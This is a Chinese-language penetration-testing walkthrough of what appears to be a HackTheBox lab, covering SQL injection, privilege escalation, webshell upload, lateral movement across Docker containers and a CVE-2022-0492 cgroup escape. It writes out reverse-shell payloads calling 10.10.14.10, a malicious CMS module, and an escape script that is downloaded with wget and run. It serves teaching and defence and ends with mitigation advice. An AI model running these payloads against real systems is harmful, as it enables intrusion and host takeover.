记一次docker虚拟机横向移动渗透测试
字数 1569 2025-08-12 11:34:18
Docker虚拟机横向移动渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
- 端口扫描:使用工具如nmap对目标IP(172.17.0.6)进行端口扫描
- 目录探测:使用工具如dirsearch/gobuster进行目录扫描
- 子域名探测:使用工具如subfinder/amass进行子域名发现
- 漏洞扫描:使用xray进行自动化漏洞扫描
./xray_linux_amd64 webscan --basic-crawler http://portal.carpediem.htb/ --html-output vuln.html
1.2 发现漏洞
- SQL注入:在
?p=view_bike&id=参数发现注入点 - XSS漏洞:通过扫描发现跨站脚本漏洞
2. 漏洞利用阶段
2.1 SQL注入利用
sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c4ca4238a0b923820dcc509a6f75849b" -dbs --batch
- 成功获取数据库信息但无法直接利用
2.2 垂直越权攻击
- 注册普通用户
- 拦截修改个人资料的请求
- 修改
login_type参数从2改为1 - 成功获取管理员权限
2.3 文件上传绕过
- 尝试上传PHP webshell
- 修改文件属性绕过限制
- 使用哥斯拉连接webshell
- 确认处于Docker容器环境
3. 横向移动阶段
3.1 反弹Shell
- 建立反向连接便于操作
3.2 网络探测
- 检查
/etc/hosts发现其他容器IP - 使用fscan进行快速扫描
- 发现匿名FTP(无果)
- 发现MySQL服务
3.3 代理建立
# 本地
./chisel server --reverse -p 6969
# 目标
./chisel client 10.10.14.56:6969 R:socks
3.4 资产梳理
发现以下容器:
- 172.17.0.1: 22,80
- 172.17.0.2: 21,80,443 (BACKDROP CMS和FTP)
- 172.17.0.3: 27017 (MongoDB)
- 172.17.0.4: 3306,33060 (MySQL)
- 172.17.0.5: 8118 (Trudesk v1.1.11)
3.5 MongoDB利用
- 找到配置文件
- 连接数据库:
proxychains mongosh mongodb://127.0.0.1:27017 - 修改Trudesk管理员密码:
密码生成脚本:use trudesk db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}} );import bcrypt password = "password" salt = bcrypt.gensalt(rounds=10) encoded = bcrypt.hashpw(password.encode(),salt) print(encoded)
3.6 Zoiper利用
- 登录172.17.0.5的Trudesk
- 发现Zoiper通信程序信息
- 获取凭据hflaccus:xxxxxxxx
- 通过SSH连接
3.7 Wireshark解密
- 获取
/etc/ssl/certs/backdrop.carpediem.htb.key - 配置Wireshark TLS解密:
- Edit → Preferences → Protocols → TLS
- 添加(Pre)-Master-Secret log文件
- 解密获取Backdrop-CMS凭据
4. Backdrop-CMS利用
4.1 登录后台
- 使用解密获取的凭据登录172.17.0.2:8002
4.2 恶意模块上传
- 创建恶意模块:
tar -xf reference.tar echo '<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>' > reference/shell.php tar -cvf reference.tar reference &>/dev/null - 通过"导入模块"功能上传tar文件
- 获取反向shell
5. Docker逃逸阶段
5.1 定时任务分析
- 发现
/opt/heartbeat.sh每10秒运行一次 - 脚本内容:
#!/bin/bash #Run a site availability check every 10 seconds via cron checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh)) if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then exit; fi status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost) grep "Welcome to backdrop.carpediem.htb!" "$status" if [ $? -ne 0 ]; then #something went wrong. restoring from backup. cp /root/index.php /var/www/html/backdrop/index.php fi
5.2 CVE-2022-0492利用
- 创建逃逸脚本
script.sh:mkdir /dev/shm/privesc mount -t cgroup -o rdma cgroup /dev/shm/privesc mkdir /dev/shm/privesc/x echo 1 > /dev/shm/privesc/x/notify_on_release host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab` echo "$host_path/cmd" > /dev/shm/privesc/release_agent echo '#!/bin/bash' > /cmd echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd chmod a+x /cmd bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs" - 在容器内下载并执行:
unshare -UrmC bash wget http://10.10.14.10/script.sh &>/dev/null chmod +x script.sh ./script.sh - 成功获取宿主机shell
6. 关键知识点总结
- Docker环境识别:通过检查
/.dockerenv文件或/proc/1/cgroup内容 - 容器间通信:利用
/etc/hosts发现其他容器IP - 密码重置技术:通过直接修改数据库密码哈希绕过认证
- TLS解密:利用服务器私钥解密加密流量
- 定时任务利用:通过覆盖被定期执行的脚本获取权限
- Docker逃逸技术:利用CVE-2022-0492通过cgroup release_agent特性逃逸
7. 防御建议
- 容器隔离:限制容器间的网络通信
- 最小权限原则:避免使用root用户运行容器
- 敏感文件保护:妥善保管SSL私钥等敏感文件
- 输入验证:对所有用户输入进行严格过滤
- 定期更新:及时修补已知漏洞如CVE-2022-0492
- 监控机制:监控容器内异常文件修改和进程活动